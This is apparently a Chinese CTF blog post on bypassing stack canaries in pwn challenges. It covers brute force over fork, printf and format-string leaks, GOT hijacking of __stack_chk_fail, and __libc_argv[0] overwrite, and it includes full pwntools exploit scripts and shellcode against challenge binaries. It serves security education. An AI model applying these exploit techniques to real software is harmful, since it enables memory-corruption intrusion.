PWN|canary绕过总结

canary保护概述:

Canary – CTF Wiki

我们知道,通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖 ebp、eip 等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行 (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。

来自ctf wiki

如何判断程序是否开启canary:

1.通过checksec来看,但是经常不准确。

2.IDA反汇编:

v2很明显就是个canary,特征是最后一行__readfsqword(0x28u) ^ v2;

汇编代码如下图所示,红框内就是__readfsqword(0x28u) ^ v2,含义是将canary与初始值进行异或,看判断没有被修改:

canary绕过

爆破

爆破canary的条件非常苛刻,因为canary的运行机制是只要检测到canary有被篡改,程序就会直接中止。通常要爆破canary的情况是用一个while死循环来调用fork函数创建子进程,子进程的canary跟父进程一致,子程序中止后回到父进程继续创建子进程,所以才具备爆破canary的可能性:

爆破模板(64位):

canary = b'\x00'
for k in range(7):
    for i in range(256):
        payload = b'a' * 0x68 + canary + bytes([i])
        io.send(payload)
        data = io.recvuntil('welcome\n')
        print(data)
        if b"fun" in data:
          canary += bytes([i])
          print("canary is:" + str(canary))
          break

例题详见:2023CISCN funcanary:

2023CISCN PWN部分WP – n0ps1ed’s website

printf泄露canary

利用printf不遇到\x00不终止的特点,如果把canary的最低字节\x00覆盖了,就能在打印时候顺带把它打印出来,然后减去用来覆盖\x00的那一字节的值,就能得到canary原值。

例题:

某校网安实践(三)比赛|PWN – n0ps1ed’s website(第二题)

格式化字符串泄露canary

利用格式化字符串漏洞来精准泄露canary

例题:CTFSHOW PWN入门 PWN98

很明显的fmt和stack overflow。而且很容易看出来这v2就是canary

var_C就是v2,将它与large gs:14h进行异或操作,等于0就通过检测,也就是看这两相不相等。

偏移是5:

s有40字节,32位的话是4字节一单位,那就是十个单位,加上偏移的5就是15

求canary1,canary2,canary3:

payload=b'%14$p%15$p%16$p'

p.sendline(payload)

p.recvuntil('0x')

canary1=b'0x'+p.recvuntil('0x',drop=True)

canary2=b'0x'+p.recvuntil('0x',drop=True)

canary3=b'0x'+p.recv()

print(canary1)

print(canary2)

print(canary3)

但是行不通,后来发现犯了个低级错误,canary是位置在ebp-0xC,它长度又不是0xC,只是4字节而已,所以直接就是%15$p

from pwn import*

from LibcSearcher import*

#连接远程

context(arch = 'i386',os = 'linux',log_level = 'debug')

p=remote("pwn.challenge.ctf.show",28260)

elf=ELF('/home/monke/ctfshowpwn/pwn')

#求canary

payload=b'%14$p%15$p%16$p'

p.sendline(payload)

p.recvuntil('0x')

canary1=b'0x'+p.recvuntil('0x',drop=True)

canary2=b'0x'+p.recvuntil('0x',drop=True)

canary3=b'0x'+p.recv()

print(canary1)

print(canary2)

print(canary3)

backdoor= elf.sym['__stack_check']

payload2=cyclic(36)+p32(int(canary1,16))+p32(int(canary2,16))+p32(int(canary3,16))+cyclic(8)+p32(backdoor)

p.sendline(payload2)

p.interactive()

我的exp里面canary1和canary3都是不必要的,改不改都行。

劫持___stack_chk_fail函数绕过canary

原理:检测到canary被篡改后,程序会调用___stack_chk_fail函数来退出程序,如图:

如果能篡改GOT表中___stack_chk_fail的值为目标函数的值,在触发canary篡改检测时就会调用目标函数而不是___stack_chk_fail。

例题:2024源鲁杯 canary_orw

main函数,有沙箱,禁用了execve,有溢出。

函数vuln:

gadget:

vuln第一个read可以溢出到v3,也就是可以控制下一个sys_read的写入地址,相当于能任意地址写8字节,最后还有一个足够长的溢出。

所以思路就是,先在main函数中溢出覆盖ret到vuln,然后第一个read篡改v3为___stack_chk_fail的got表地址,下一个sys_read往___stack_chk_fail的got表地址写入ret指令地址。(这样触发canary检测时候就会ret回来)。最后一个read往覆盖返回地址为jmp rsp,然后后面紧跟上shellcode。

程序流执行流程是,先从main到vuln,然后第一个read+第二个read把___stack_chk_fail篡改为ret,第三个read把返回地址覆盖成jmp rsp,后面接上shellcode,同时触发canary篡改检测。程序调用___stack_chk_fail,实际上调用了ret,继续回到原vuln函数,然后就是leave,此时rsp指向返回地址(值为 jmp rsp指令的地址),接着执行ret,pop返回地址的值给eip,esp向上移动一个单位,正好指向shellcode,然后eip执行 jmp rsp,程序就会执行shellcode。

可以参照图来看:

完整exp:

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

r=process("/home/monke/PWN/CHB/canary")
elf=ELF("/home/monke/PWN/CHB/canary")

jmp_rsp = 0x40081B
check = elf.got['__stack_chk_fail']
main = elf.sym['main']
ret=0x4006ae

shellcode = shellcraft.open('./flag')
shellcode += shellcraft.read(3, 0x601060, 0x30)
shellcode += shellcraft.write(1, 0x601060,0x30)


r.sendlineafter(b'journey', p64(elf.sym['vuln']))
#gdb.attach(r)
r.sendafter(b'Sea', b'a' * 0x8 + p64(elf.got['__stack_chk_fail']))
#gdb.attach(r)
r.sendafter(b'magic', p64(ret))
r.sendafter(b'go',b'a'*40+p64(jmp_rsp)  + asm(shellcode))

r.interactive()

覆盖__libc_argv[0]

原理:由于canary检测篡改后会调用stack_chk_fail函数,其中一个参数是文件名,即“__libc_argv[0]”,将此覆盖就能输出特定内容。

例题1:ctfshow pwn117

逻辑非常简单,debug算出gets时候的栈地址和__libc_argv[0]距离即可,但我算不对,直接爆破:

exp:

from pwn import *
context(arch='amd64', os='linux',log_level='info')
#io = process('./pwn')

flag = 0x6020A0 #buf


def pwn(i):
	print(i)
	io.recvuntil('Haha,It has reduced you a lot of difficulty!')
	payload = cyclic(i) + p64(flag)
	io.sendline(payload)
	print(io.recvall())
	io.close()
	
for i in range(280,1000):
        io = remote('pwn.challenge.ctf.show',28214)
        pwn(i)
        sleep(0.1)

例题2:网鼎杯2018_guess

这题flag不是存在bss段而是存在栈上,所以需要计算flag地址,所幸题目使用fork给了三次机会。

第一次fork覆盖__libc_argv[0]为puts的got表地址,计算libc基址,进而计算environ地址(environ存了栈基址)

第二次fork覆盖__libc_argv[0]environ地址,泄露出栈基址,计算flag地址

第三次fork覆盖__libc_argv[0]为flag地址,成功泄露。

详细见:[BUUCTF]PWN——wdb2018_guess(stack smashing–canary报错利用)_buuctf canary-CSDN博客

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇